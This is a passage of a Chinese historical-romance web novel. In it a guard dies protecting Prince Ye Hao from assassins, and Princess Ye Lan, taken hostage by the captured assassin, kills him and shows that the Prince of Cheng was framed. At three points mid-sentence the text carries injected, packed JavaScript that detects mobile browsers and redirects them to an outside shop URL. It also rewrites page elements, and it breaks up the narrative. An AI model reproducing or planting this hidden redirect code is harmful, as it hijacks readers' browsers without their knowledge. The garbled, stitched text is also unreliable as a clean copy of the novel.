“信物已给,这聘书该签了吧。”叶皓展开聘书,平铺于桌上。秦羽执笔写下“秦羽”。 云琴看着叶岚,待她首肯后执笔写下“方云琴”。 “聘书已签,此后的礼数,一样都不会少。” 叶岚见此事已定,松了一口气,说道:“云琴的身契和籍契都在成王府,我会修书一封给姐姐,请她处理此事。” “好,婚期在十月初八,我们回去找嫂嫂要身契,过官府文书。待一切办理好后再来接云琴。” 叶岚觉得安排的不错,侧身对云琴说道:“云琴,外面花盆里的花要晒蔫了。你去挪一挪。” “是。”云琴应声出去。 她又对秦羽说道:“秦羽呀,云琴是个弱女子,好大的花盆恐怕她搬不动……” 秦羽意会,叩首道:“属下这就去帮忙,此后不会让她受苦,属下谢公主成全。” 叶岚满意的点点头。待秦羽出去后,她看着聘书,感慨道:“秦羽变化倒是很大。” “算是苦尽甘来了。”叶皓说到轻描淡写,但只有他知道秦羽曾经有多痛苦,这一路走来有多艰难。 “这聘书,都是男女双方自己签字的吗?”叶岚问道。 “是啊,需是双方愿意才好。还有将来的婚书,都是要自己签订。”叶皓解释。 叶岚低头抚摸着红笺上的金字,自言自语说道:“真好。”但眉眼间难掩失落,她的聘书、婚书,她连见都没见过,至于其它六礼,更是什么也不清楚。 叶岚合上聘书,将聘书与礼书一并交于叶皓。说道:“我会告诉安如给云琴备一份嫁妆。云琴家中好像也没有什么亲人了,我请姐姐代其尊长,送她出嫁。” “好,明日我们便启程回去。” “明日?这么快……”叶岚听了很是惊讶,一时间心中酸楚,刚见面又要分别。 “行程早已定好,经景州到新城,由洛河卢峰渡归国。”叶皓绕路至此已经耽误了好些日子,所以急着赶路。 “我去写封信给姐姐。”叶岚说罢便出去了,待出门后她悄悄抹掉了眼角的泪水。 屋内只剩叶皓与冷逸尘二人。 叶皓看着冷逸尘:“你半日都未说一句话了。” “这事我帮不上什么忙。” “你可是此事的见证人。” “只是大家没把我当外人罢了。” “你看看你,这话说的像个怨妇一样,你是我师弟,是暖暖夫君。于秦羽来说也算半个师弟,于云琴来说是主家。怎么能说是外人?” “可我……” “打住,你还是我师弟吗?我师弟果敢持重,怎会是如今这般犹犹豫豫、患得患失。”叶皓一语道破他。 一席话说的冷逸尘脸红。是啊,自从遇见叶岚以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073862|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就变成了这个样子,这般疑虑、不自信。 “师弟呀,暖暖她心里是有你的。今早她一起来便去看你,昨夜宿醉也是她在照顾你,没见她眼下的乌青,脂粉都盖不住吗?明日我就走了,你们两个好好的,别让我担心。” 冷逸尘点点头。 当晚,叶皓去了驿馆,他要同文辉商议回程事宜。叶岚没想到叶皓今日就离开都府,于中庭望月,悔不该今晨与他置气。 冷逸尘端着一碗酪酥来找她:“看你晚饭没用好,让厨房做的酪酥。在井水里冰过了。” 叶岚接过,尝了一口,清凉香甜。她也惊讶,这个时节竟还能吃到牛乳。 她谢道:“这个时节,牛乳可不好找。” “城郊农户皆养耕牛,买些牛乳还是容易的。你若喜欢,我明日再着人去寻。” 暖暖摇摇头:“太麻烦了,你军务忙,别为这些小事操心了。这几日多谢你了。” “这是我应该的。” “为了秦羽与云琴的事,让你费了不少心力。我替他们谢谢你。” 冷逸尘见叶岚的发鬓松散,自然而然的上手为她抚平,说道:“你何时能不与我这样客气?” 这一举动让叶岚红了脸,自己的发髻竟然乱了,周围还侍立着这么多的侍女侍从。 她抚着鬓角羞涩的说道:“我去休息了,明日还要去送四哥。你也……早点休息。”说完端着碗就回了自己的院子。 冷逸尘看着她这可爱的样子,不自觉得笑了。 叶岚回到院子,见云琴走在前面,她叫了声:云琴。 云琴身躯一颤,显然是被吓了一跳。叶岚将半碗酪酥给她,说道:“你才回来呀!快尝尝这酪酥,很好吃。” 云琴接过碗,行礼道:“奴婢先去为公主准备沐浴用品。” 叶岚说了声好,便进卧房卸钗环,也未留意云琴神色不似以前。 次日,众人于榆关城门口分别。 这次离别叶岚没有多伤感,只盼着叶皓快快回去将一切办好,好让秦羽来接云琴。 众人拜别,登车而去。直至不见了影子,叶岚与冷逸尘才上车而归。回去的马车中,叶岚想着云琴的事,笑出声来。 冷逸尘不解的看着她,问道:“离别还这样高兴?” “当然是为云琴的事。她能有个好归宿,我真是为她高兴。” “那你呢?” 叶岚并未听出冷逸尘的话中之音,反问道:“我什么?我很好呀!” 冷逸尘不深究,只说到:“这几日军中堆了些事务,我先送你回去,然后去大营,今晚可能回不来了。你这几日辛苦了,好好休息。” 叶岚刚离了哥哥,现在听见冷逸尘也要走,勾起离别之情,顿觉心中空落落的。但也不好表明,只是点了点头。 回府后,冷逸尘换了马直奔大营而去。叶岚看着空空的院子,心中好不难受。 又是燥热的一天。 晚间冷逸尘没有回来,叶岚坐卧难安,厨房为叶岚送来了酪酥,她端着酪酥去院中乘凉。 云琴坐在院中拿着金簪发呆。昨日回来之后,她便一直这样发呆。 二人并座于台阶上共食酪酥。叶岚絮絮叨叨说着自己的计划:“我下午写了封信安如,让她为你准备一份嫁妆。给姐姐的信我已让他们带走了,她会给你安排一切。你们的婚礼我恐怕是不能参加了,但我会永远的祝福你们……” 云琴听着,声音有些哽咽。起身给叶岚行了跪拜大礼:“云琴谢公主成全。” 叶岚拉起她,眼睛也有些湿润:“以后一定要好好的。” 云琴双手紧握住叶岚的双手,头倚着叶岚的肩,说道:“公主是最好的公主,处处为奴婢着想,不让奴婢受一点委屈。可公主却受了天底下最大的委屈。” 叶岚满口都是酪酥的清甜,想到冷逸尘,觉得心中也是甜甜的。她抬头望星空,自问道:还有委屈吗? 她现在都心境早已不同于初到祁国时。清和轩虽说是她心中的一方天地净土,但也是个牢笼,一个逃避现实的牢笼。她逃避冷逸尘,她不敢对自己的内心。 可从什么时候开始呢?她慢慢习惯了他,接受了他,只是还未告诉他。 可她毕竟是女子,面皮薄。而自冷逸尘塘西村醉酒表白后,再也没有说过什么。叶岚又不禁怀疑冷逸尘:他到底对我是什么感情? 叶岚想了一番后说道:“我没有委屈,现在这样不是很好吗?距婚期还有一段日子,这段时间你就保养好自己,不要再有忧虑。就等着高高兴兴、漂漂亮亮的出嫁吧。” “以后奴婢走了,公主怎么办?” “我会去接安如,或许会跟冷逸尘调任别处,谁知道呢?“ “殿下是个好人,他待公主是真心的。” “我知道,是我心结难解。若是青梅竹马,或是父母之命、媒妁之言我都可以接受。可偏偏这桩婚姻杂糅了政治,充满了目的,叫我怎么能轻易接受。” “公主……“ ”这世道,于女子来说,何其艰难。能遇见一个心意相通的人,是多么不易。云琴,好好珍惜。“ 二人又坐了一会儿,恐更深露重,便回去休息了。 叶岚想着冷逸尘,在床上辗转反侧,也不知几时才睡着。 19. 路转不见君 第二日午后,叶岚午憩刚醒,只听得外面脚步匆匆。 门被推开,冷逸尘面色严峻,汗水顺着耳根流到脖颈处。 未及叶岚反应,冷逸尘说道:“信王昨夜遇袭,秦羽……身负重伤。” 身后的云琴听了只觉全身血液凝固,手里铜盆掉地。 铜盆击地声如惊雷一般直击叶岚颅顶,使她浑身发麻。 冷逸尘没有细说,让她们收拾东西:“车架已备好,即刻随我同去。” 两刻钟以后,一行人已在路上。 云琴不停的为秦羽祈祷,叶岚则在冷逸尘说话停顿是时候则已猜到:秦羽已不在。可她不忍说出,因为她也接受不了这个事实,心中仍抱有希望。 车轮转、马蹄急,一路驰行至行半夜终于到了景州。 景州城门已关,冷逸尘用将军令牌让一行人入了城,直奔府衙。到了府衙,只见叶皓与文辉。 叶皓将被血浸染的聘书交于云琴。云琴难以置信,捧着聘书双手颤抖,瞬间崩溃,一时急火攻心,吐了口血后晕了过去。 原来,叶皓下榻景州驿。睡至半夜,忽觉有异动。睁眼只见寒光一凛,他瞬间翻身,抓起身侧的剑一档,方未教那人的匕首落下。 一番打斗至院中,院中也已打成一片。 刺客共三人,分工合作。两人院中望风,一人进屋行刺。怎料院中与屋中一同被人发现。 刺客并未放弃行刺,两人拖住侍卫。一人直击叶皓,叶皓艰难对抗。忽然另一个刺客反身袭击叶皓背后,秦羽来不及出剑,用身躯为叶皓挡了致命一击。 待叶皓回头看时,只见秦羽心脏处喷出鲜血轰然倒地。一时间,叶皓激愤难当,一剑刺中了与他对峙之人,那刺客被钉于木柱之上。 此时,杀死秦羽刺客也被打晕在地。 叶皓跪地抱起秦羽,他早已没了呼吸。他胸中绞痛,拼命喊着秦羽,想把他摇醒。他抓起秦羽的手,想让他给一点反应,可那手始终是软弱无力的垂下。 不久,秦羽的体温消散,变得冰冷。叶皓终于放弃了,深吸一口气,为秦羽合上半睁的双眼,咬着牙说道:“我会为你报仇。” 众人收拾残局,刺客三人,身亡两人,一人受伤昏迷。侍卫受伤五人,身亡两人。 出此大事,县令于贺惊恐至极,连夜写奏折报奏京中。他知京都遥远,恐不能及时送达,便又写了信送至崇宁王军中。又将使团安排至府衙暂居。 于贺安顿完叶皓后,又请文辉与他连夜审讯刺客。此事本应由他处理,但事涉邦交,京中旨意未达,他不敢擅专。 又因刺客来路尚不明,他一人审问,恐有包庇之嫌。所以与梁国使者一同审讯,最为稳妥。 那刺客有点骨气,但是不多,抽了十几鞭子就全招了。于贺与文辉本以为会费些口舌、用些手段,没想到会如此容易。 审讯完毕,供书即刻交于叶皓,叶皓看着供书,面色凝重心绪复杂。上面的内容是:刘旺,男,廿八岁,奉梁国成王叶均之命,于祁国境内刺杀梁国信王叶皓。 叶皓读完只觉汗毛倒竖,秦羽刚刚为护他殒命,动手的竟然是他的亲兄长。他不敢相信,也不愿相信,怎么会是他?怎么能是他。 府衙内,众人忙碌了一夜,黎明时分才寂然下来。叶岚立于廊中,看着东方天色渐渐发亮,她已是一夜未睡。 云琴晕倒后,使团的医官为云琴诊了脉开了药。叶岚亲自煎熬,给云琴灌了下去。 云琴转醒,万念俱灰,一声不吭,默然作泪。叶岚一直相陪,直至方才,云琴又昏睡过去,她才出来透口气。 太阳出来了,可有的人却再也见不到这光明了。她想起秦羽的过往,她们是主仆也是好友。她和住叶皓同住成王府的时日里,有叶皓在就有秦羽在。 前日他还鲜活的站在她面前,对她说:公主万安。而如今这个世上再没有他了气息。想到此时,叶岚鼻子一酸,湿了眼角。 “去吃些东西吧。”冷逸尘不知何时站在了身后。 叶岚侧身用手帕擦了擦泪,抬头看见冷逸尘满眼血丝,一脸疲惫,有些心疼的说道:“我不饿……这几日,辛苦你了。” “不必这样说,我与秦羽也是旧识。真是没想到,会发生这样的事。” 叶皓向他们走来,将供书的拓本交给叶岚,叶岚看后一脸惊诧,她抬头看看叶皓,又转头看看冷逸尘。难以置信的说道:“不可能,怎么会这样?” 未及叶皓回答,他们身后的门突然开了,云琴出来。只见她面色如纸,步履虚浮。但已梳洗一番,衣衫整洁。 云琴见三人后跪拜在地:“公主,两位殿下,奴婢想去看看……秦羽。”她说到“秦羽”二字是已是哽咽。 叶皓犹豫了一下,说道:“好,我带你去。” 叶岚怕云琴受不了刺激,忙说:“我陪她去。” 话音未落,有人来报:“信王殿下,文使节在前堂等您。” 叶皓看一眼冷逸尘,说道:“交给你了。” 冷逸尘点头。叶皓随来人而去。 到了停尸房门口,云琴欲推门而入。叶岚拉住她的胳膊,想说些什么又不知道说些什么,云琴反而说道:“公主放心。” 叶岚哪里能放心,云琴越是平静她就心里越没底,怕她做出什么傻事来。 云琴进门,叶岚也欲跟进,可胳膊却被冷逸尘拉住。冷逸尘说道:“让他们独自告别吧。” 房内,云琴掀起白布,秦羽面色灰白,换了干净的衣服。云琴抚着他的脸颊,俯身将脸贴在他对胸前。再也听不到他心跳,再感受不到他的温度。 泪水不断的流下,心如撕裂一般疼痛。良久,云琴起身,将自己的玉镯放在了秦羽的衣襟内侧,说道:“来世,不要忘了我。”然后握着着他的手,伏在他身侧。 门外,阳光热的发烫,可叶岚却感受不到一点温暖,反觉周身寒冷。她轻轻搓着手腕问道:“真的是我三哥吗?” 冷逸尘说:“昨晚,刺客招供后,师兄不相信,又亲自审讯了一遍,那人还是这套说辞。” “我也不信。” “若真是成王,那定关乎储位之争,此事我不便多有置喙。” 叶岚点点头,越发觉得浑身冰冷,如坠冰窟。眼前一片明晃晃,让她有些发晕,她不由抱着双臂。 冷逸尘见她面色不对,忙问道:“你怎么了?脸色这样不好?” “我好冷。” 冷逸尘摸了摸叶岚的手,冰块一般,又抬手摸了摸她的额头:“你发烧了。” 叶岚浑身无力,此刻,她扶着冷逸尘才勉强站稳。冷逸尘轻轻将她抱起,说道:“我先送你回去。” “云琴……”叶岚意识有些模糊。 “放心,我让泽生过来。” 叶岚放心下来,之后便沉沉的睡了过去。 叶皓听闻叶岚病了,赶紧过来看望。冷逸尘告诉他并无大碍,只是劳累过度,已经着人煎药了。 叶皓摸摸叶岚的额头,对冷逸尘说道:“暖暖何曾经历过这样的事。这几日事多,这里人也杂,还劳烦你看顾她周全。” “这是自然,师兄放心。刚才有什么事?” 叶皓又摸摸叶岚的手,依旧是冰凉。见她睡的安稳,便说:“走,出去说。” 二人来到外间,叶皓倒了两杯水,继续说道:“刚才文辉说,在死者身上发现了两颗药丸,仵作验了是毒药。景州这是小地方,仵作见识有限,也无文案记载,查不出是何毒。” 听到刺客身负毒药,冷逸尘想起来什么。命人将药丸送来,亲自查看。 待药丸送到,他将药放于阳光下晒了一会儿,闻了闻说道:“此毒名唤‘胡蔓藤’,白高国所产,中原极为稀有。今年春天,我与我兄长先后遇刺,行刺我兄长的人至今未查到,行刺我的人是便是白高国人。他们化成匈奴人行事,失败后全员自尽,没有办法继续查下去,便不了了之。他们身上的毒药便是这‘胡蔓藤’。” “若是白高人,又对我的行程和京中之事了解甚多。不是我三哥,那肯也有别人与之勾结。”叶皓思索着,一时想不到会有谁,也不便再往下说。 冷逸尘理解他,只能叮嘱道:“师兄,不论是谁,你此番回国必危险重重,定要多加小心。” “嗯,我自会小心。倒是你,擅自离开驻地,该想想怎么解释。” “我也没想这么多。放心,我自会向京中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073863|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释。”此番事发突然,不容冷逸尘多想。 路上冷逸尘已考虑过如何向京中交代,景州临近燕北,就说巡守也是合理。况且叶皓本就是为探视叶岚而来,回程遇刺,他来探查也是名正言顺。 说话间,见泽生扛着云琴进了云琴的住所。二人面面相觑。 叶皓想定是云琴哭晕了过去。想到秦羽,便一拳捶在柱子上,愤恨又后悔的说道:“若当初强行将秦羽留在我二哥身边,就不会害他殒命。我一定会查出幕后真凶,为他复仇。” 泽生出来回禀:“二位殿下,方才云琴不肯离开,那阴寒之地不宜久留,属下便将她打晕带了回来,又给她服了一粒安神丸。一时半会醒不了。” 叶皓叹了口气,进去看叶岚。冷逸尘拍拍泽生,说了句“很好”,后也进了屋子。 此时,叶岚已转醒。 “怎么样?”叶皓问道。 冷逸尘扶叶岚坐起身。她脸色苍白,没有力气说话,只是摇摇头。 冷逸尘端药给叶岚,叶皓却接过来说道:“我有话对她说。” 冷逸尘见叶皓严肃,阻止道:“她才醒过来,有什么话一会儿再说也不迟。” “有些话说了,或许能让她安心些。” 冷逸尘点头,看了着叶岚,出去回避。 叶皓坐在床边,一边给叶岚喂药一边说道:“刚才没有说完,我也不相信是三哥。此事极有可能与白高国有关。若真是这样,恐是京中有人与白高人勾结。选择在这里行刺,或是想挑起梁、祁两国的冲突。现在情况很复杂,我一时也捋不出头绪来。只等回去后再调查。” “是不是涉及储位之争?若真是三哥怎么办?又或是二哥?” “你可知三哥早就放弃了储位吗?” 叶岚摇摇头。 “我也是耳闻,当年他为了娶三嫂,触怒了父皇。父皇对他颇为不满,亲口断了他的储君之念。二哥,说实话,这几年我与他都没见过几次。上次还是因秦羽的事去找过他,想让秦羽留在他身边养病。二哥是宽厚温和之人,一心只为修书,我甚至都没有想过是他。” “那还会有谁?” “若是储位之争,倒是不难。我们三人将此事说开,父皇也自会有主张。”叶皓虽然说的轻飘飘,但他也知道如果这是真的,必定条血路。 他继续说道:“只怕是朝中与外邦勾结乱我大梁,若如此,不管是谁,此后咱大梁都会有一番血雨腥风。” 叶岚不由得担心起来,问道:“你要怎么办?姐姐他们又会怎样?” “且走一步算一步,我会保护好自己,保护好他们。这些事你不要挂念了,多想无益。倒是你,冷逸尘将你从祁京带出来,虽然苦些,但不失为一种保护。” 叶岚点点头,说道:“他是这样说的。”叶岚没有告诉他更深的缘由,有些事只怕他知道了不合适、只怕他知道了会更加担心。 “自古储位之争,很难有人全身而退。我不知道祁国的境况如何,但我相信他能护你周全。只是你……要珍惜眼前人。好了,别的我也不多说了,你休息吧。”叶皓说罢,便放下药碗出去了。 走到门口,正见冷逸尘过来,身后跟着一个提着食盒的侍卫。 叶皓驻足:“她没事了,你也好好休息,还有好多事要处理。咱们不能因为这事一个个的全都病倒了。” 冷逸尘点头:“放心。”然后拿过食盒后进屋去了。 叶岚虽然已经一天一夜没有吃东西,但还是没有胃口。她拨弄着碗里的粥问道:“云琴……” “泽生已经将她带回来了,放心。”接着,冷逸尘探探她的额头,已不算太热:“多少再吃些,要不哪来的精神?” “吃不下了……我想去见见那刺客。” 冷逸尘将碗放下,拿起帕子为叶岚擦着手,委婉的拒绝:“景州知府和文使节已经审过两次了,再问也是这个结果。牢狱之地,戾气太重。今日停尸房那里都不应该让你去的,现在想想真是后怕。你且好好休息,师兄心中自有分明,定会查出个结果来。” 叶岚也是精神不济,只得作罢。药劲上来,昏昏沉沉的又睡了过去。 冷逸尘则守着她,倚着床边小憩。 20. 以身试险危 叶岚再次醒来时,已是日暮十分。落日余晖将整个屋子映照成一片金黄色,微尘在光线中飘舞,仿佛时间静止了一般。 屋里、屋外都静的让人害怕。 叶岚不安的寻找:“哥哥?冷逸尘?” 没有人回应,叶岚变得恐惧起来。她起身披上衣服,撑着身子来到门外。 门外也是一片金黄色的世界,她突然觉得这颜色有些熟悉。那年,她在她三哥的书房里背书,等背下来时已是黄昏,也是这般的满院金辉。 恍惚中,叶岚看见秦羽提着食盒走来,将食盒里的桂花糕递给她。她不由得高兴起来:“秦羽,你回来了!” 可紧接着摔碎东西的声音让她回过神来:这不是三哥的书房、没有秦羽、没有桂花糕。 声音是云琴屋里传出的,她转身进了云琴的屋子。原来是云琴转醒,想喝水,伸手却打翻了杯子。 叶岚倒了水给她,坐在床边看着她。 云琴未语泪先流,说道:“公主……奴婢看见他了,他的脸是冷的,手是冷的,胸膛也是冷的,他真的……不在了。” “云琴……” “公主,奴婢想送他最后一程。” 叶岚点头,拉着她的手说:“回去吧,不要再回来了。我写信给姐姐,让她为你安排。” “公主……公主大恩,云琴无以为报。”说罢,想下来给叶岚行礼。 叶岚按住她:“你跟我这几年,待我如妹妹一般无微不至,我自然要为你考虑。答应我,好好的活下去,不要让我担心。” 云琴点点头:“公主放心,奴婢不会做傻事。” 她二人说话间,只听外面一阵脚步声,随后门突然被推开。叶岚吓了一跳,快速站了起来,厉声问道:“谁?” 是泽生。泽生见叶岚披着外衣也未梳妆,急忙跪地,说道:“属下惊扰了公主,公主恕罪。” 叶岚也不是故意生气,只是刚才院子里的安静已让她不安。现下突然有人破门,她只恐再生变故。 见来人是泽生,她才松了口气,坐下说道:“无妨,外面发生了何事?” “没什么。是殿下找不到公主有些着急。” “哦……告诉他,我没事。再准备些食物送进来。” “是。”泽生说罢,便退了出去。 叶岚与云琴一起用了晚饭才离开。她二人为了不让对方担心,都强吃了些食物,可依旧剩了不少。 叶岚终究还是担心云琴想不开,命了侍卫好生看守。 叶岚出来时,天已大黑。她坐在院中石凳上,抬头见月,黯淡无光。 脚步声在身后响起,冷逸尘提着灯笼走来,身后的侍从放下药碗后离开了。 “怎么不掌灯?” 叶岚没有回答,看着药碗说道:“不想喝,太苦了。” 冷逸尘又拿出一包芝麻糖:“知道你怕苦。” 叶岚接过药,皱眉鼓了鼓勇气,一饮而尽。随后拿了一颗糖放到嘴里。 “今日,泽生吓到你了。” 叶岚摇摇头:“不是因为他,是我自己心里害怕。” “怕什么?” “下午醒来,你们都不在,我怕又出了什么事……” “放心,这里防守严密,不会再出什么事了。下午去处理了一些事情,回来后你不在屋子里,屋门也开着,就让泽生赶紧去寻的。以后,我不会留你独自在一处了。” 叶岚提起灯笼,照亮路边长出的杂草野花。她问道:“你……见过逝去的人吗?” “嗯……征战沙场,见过很多。” “他们离开时是不是有很多痛苦、很多不甘?” 冷逸尘怕叶岚因心伤而伤身,不想继续这个话题,拿过灯笼:“小心草丛里有蚊虫。征战的将士没有不甘,他们是为了亲人、朋友能过上更好的生活……不要再多想,先把身体养好……” 叶岚低头:“我还是想见见凶手。” 冷逸尘心有余悸不敢答应,只委婉的说:“是有什么话要问他吗?你告诉我,我替你去问。” “只是想见一见他,看看他是什么样的人,问问他有没有手足朋友,为何这样残忍。” “他是刺客,是死士。要么已无家人,要么已将家人妥善安排,又或者家人受了胁迫。”他拉起叶岚的手,冰冷依旧:“不要多想了,放心,我与师兄会处理好。我送你回去,好吗?” 叶岚抬头看他,他的眼神温柔,充满关切。话已至此,叶岚也不好再说什么。 又过了两日,祁京旨意送达,即刻将刺客押送回京,细细审问。 叶岚心有不甘,还想看看凶手何人,再问一遍他说的是不是都是真的。前日,叶皓虽与她说了叶均与储位无缘之事,但叶均真实的意思有是怎样? 只有这一件事,她想知道答案。她不能相信,她敬重的三哥、她最亲的姐姐,会有如此歹毒的心思。 明日,刘旺从牢中押解出来的时候,是她最后的机会,她想求得一个答案。于是悄悄找了把匕首藏于身上。 次日一早,府衙内忙着办理各种交接手续。叶岚趁众人忙碌之时,悄悄拿了冷逸尘的令牌来到牢房,命人提来了刘旺。 刘旺身形粗壮、络腮胡子下一脸横肉,手脚都被镣铐锁住,由两名衙役押解着。 叶岚还未开口,刘旺先开口:“怎么,又要换人审问?别浪费功夫了!” 叶岚问道:“是你杀了秦羽?” “秦羽,死的那个侍卫叫秦羽。” “是你杀了他?”叶岚又确认。 “是我,他要不拦着,死的便是信王。” “是谁派你们来的?” “你们不早就知道了吗?是成王派我来的。” “本宫不相信,本宫是成王亲妹,本宫了解他,他不会让你刺杀信王。可是他亲口说的?” “是成王亲口对我下令,不惜一切代价,杀了信王。” 刘旺知道了叶岚的身份,心中生了歹心:此行本是不归路,若是挟持了她,说不定还会有一线生机。 他转了口风,说道:“不过,成王还说……” 叶岚见有转折,焦急的问道:“说什么?” 刘旺用眼睛看了看左右,欲言又止。 叶岚屏退衙役。刘旺又示意她上前。叶岚心急也未多想,上前了两步。 未料,刘旺已暗中打开了手上的镣铐。他一把拽过叶岚,铁钳一般的手掐住了叶岚的脖子。 外面的衙役听见动静,立即冲进来,拔刀相向。 事出突然,叶岚全身僵硬,头脑轰鸣,冷汗瞬间出透全身。她撰紧拳头,用尽全身的精力让自己保持镇静。 早有衙役去通报众人。当刘旺挟持着叶岚走出牢房来到院中时,叶皓与冷逸尘等人带着侍卫赶到。 冷逸尘看到这一幕,心一下子提到了嗓子眼,不由上前去。叶皓忙抓住他的胳膊。 刘旺见他向前,手上加大了力度,叶岚被掐的咳了一下。 刘旺见众人如此紧张,便知绑对了人,更加有恃无恐,大声说到:“所有人放下武器,准备马车,送我出城。不然我就杀了她。” 冷逸尘一抬手,众人便放下武器。他急声喝道:“放了她,否则本王将你碎尸万段。”说着还欲上前一步。 叶皓知他关心则乱,恐激怒刘旺,伸手挡了冷逸尘,对刘旺喊道:“马上给你备车。” 此时刘旺的注意力全在叶皓、冷逸尘身上,未注意泽生悄悄溜出人群。 叶岚却看在眼里,知泽生要动手。她要给他争取时间,并创造机会。 叶岚深吸一口气,问道:“成王还说了什么?” 刘旺不屑的说道:“你还真是天真,我是骗你的,看不出来吗?” 叶岚伤心的说道:“我和成王一起长大的,他怎么如此无情……他身边的小狗还好吗,那是我亲自送给他的,他最是喜爱。” “一起长大又怎样?你可知‘知人知面不知心’。你也真是心大,自己如今生死捏在我手里,还去关心一只狗。” 此刻,叶岚心中已十分明了。 有侍卫来报:“马车已备好。” 刘旺挟持叶岚继续前行,来到院中宽阔的地方。叶岚突然驻足,趁刘旺不备,拔出腰间匕首向他的腹部刺去。刘旺吃痛,弯腰用手去捂伤口。 电光火石之间,泽生的弩箭从左侧进入刘旺的头部,继而带着血和脑浆从右侧冒出。刘旺双目张圆,直挺挺的向后倒去。 一时间,周围脚步声和刀剑入鞘声不断。但叶岚听不到任何声音,耳边只是一片嗡鸣。 她咬牙强撑着,握紧匕首,在刘旺心脏处补了一刀。此时刘旺的心脏还在跳动,匕首拔出,溅出的鲜血染红了她半面衣衫。 终于,在此刻,叶岚紧缩的心宽了一半:一是解了刺客挑拨离间、嫁祸成王之恨,二是也算替云琴为秦羽报了一份仇。 继而,她浑身紧绷的肌肉松懈下来,瘫坐在地,便两眼一黑,身体向一侧歪去,耳中嗡鸣声消失,意识陷入一片寂静。 不知过了多久,叶岚头脑又开始嗡鸣,耳边传来遥远的声音,她仔细辨别,是两人的低声谈话。 “师兄,多留几日吧,她情绪不太好,身子又弱,我怕……” “不了,待她醒来我便回去,有你在,我放心。回去还有很多事要查……” 哥哥要回去,去哪?是回住处,还是回梁国去?叶岚努力睁开眼睛,此时她躺在床上,外衫已脱,手上的血已被洗净。叶皓与冷逸尘站在屏风外说话。 她意识已经清醒,挣扎着坐起来,说道:“不是三哥……” 听见叶岚醒了,二人忙过来。叶皓坐于床边,冷逸尘则扶起叶岚坐稳。 叶岚深吸一口气,继续说:“刚才我与那人交谈了几句,言语间破绽颇多。我说我们是一起长大,那人没有反驳,他肯定是没见过三哥,不知道三哥的年龄。还有,他也不知道三哥从不养宠物。不是三哥,是有人嫁祸于他……还有,若是三哥派来的人,他怎会不知道你身边的人是秦羽。” 叶皓说道:“我知道了,你放心,我会将此事查清楚。那日和你说的话你怎么全然不听。你好好休息,不要再多想了。” “其他的我不管,只此一件事,我也想要个答案。”叶岚低头,深吸一口气,说道:“我不相信,我不信哥哥姐姐会是这样的人。” 叶皓声音低沉:“如此,你以后可以安心了?” 叶岚点点头。 叶皓的怒气再也压不住,也不管冷逸尘在场,严厉的说道:“那你也犯不上如此冒险。前日与你说的话,你全然未听进去,待我调查清楚自会给你个交代。你这样,让多少人为你担心!若你真有个三长两短,让我们怎么办?公主遇险,何等大事?会连累多少人?还可能会有人用两国邦交大作文章,又将来会引起多少祸乱?这些,你想过没有!!” 叶岚从未见过叶皓如此生气,有些害怕,眼圈渐红,可泪水却不敢流下:“我……没有……我……只想要个答案……” “会有答案,但不是现在!” 冷逸尘挡在叶岚面前,对叶皓说:“她今日受了惊吓,不要再说了。” 叶皓气得深呼了一口气,沉声道:“今日本是压他去祁京走个手续,再交到梁国。现在他死了,再查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073864|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去便难了。暖暖,你好好反思反思,以后再这么冲动了,只怕害人害己。怎么能叫人放心!”说罢便出去了。 叶皓从未对她发过火,甚至连一句重话都没说过。叶岚没想到一时义气用事,竟造成如此严重的后果。 她缩紧身体不知所措。眼泪落下,她悄悄的抹去。她真的没有想到那么多,真的只是想要个答案。 冷逸尘坐在床边,安慰她:“他的话严重了,那里就会这样。行刺失败,但目的已经达到了,不管幕后之人是谁,他们都不会让刺客活着到京中。可今日之事甚险,我到现在都还后怕。若知你会如此迫切想要个答案,我昨日就该带你去的。” 叶岚抬起头:“今日是个意外,的确是我不对,可我不后悔。一则刺客挟持我,就不会杀了我。二则有你在,我不会有事。” 冷逸尘听了,心中生出一丝异样:她是相信他的。可那时他也从未如此慌乱过,一时间也想不出什么好办法,万幸最终她是平安的。 他叹了口气,说道:“你倒是冷静,你可知我怕的要死,我没有十分的把握……不过,现在确定了不是你三哥,你可以安心了。”说罢,用帕子为叶岚擦了泪水。 叶岚点点头。 “来,把这安神药喝了,睡一觉就好了。来了这几日,吃的药比饭都多。” 叶岚点点头,将药一饮而尽。冷逸尘拿了一颗芝麻糖送到了她口中。 “明日师兄就启程,我打算去送他,留你在此地不安全,与我同去吧。” “肯定要同去的。云琴……她想送秦羽的灵柩回去,我不想再让她回来了。” “好,都依你。只是路途遥远,还要养足精神。我已经让人去炖人参鸡汤了,醒了正好能喝。” 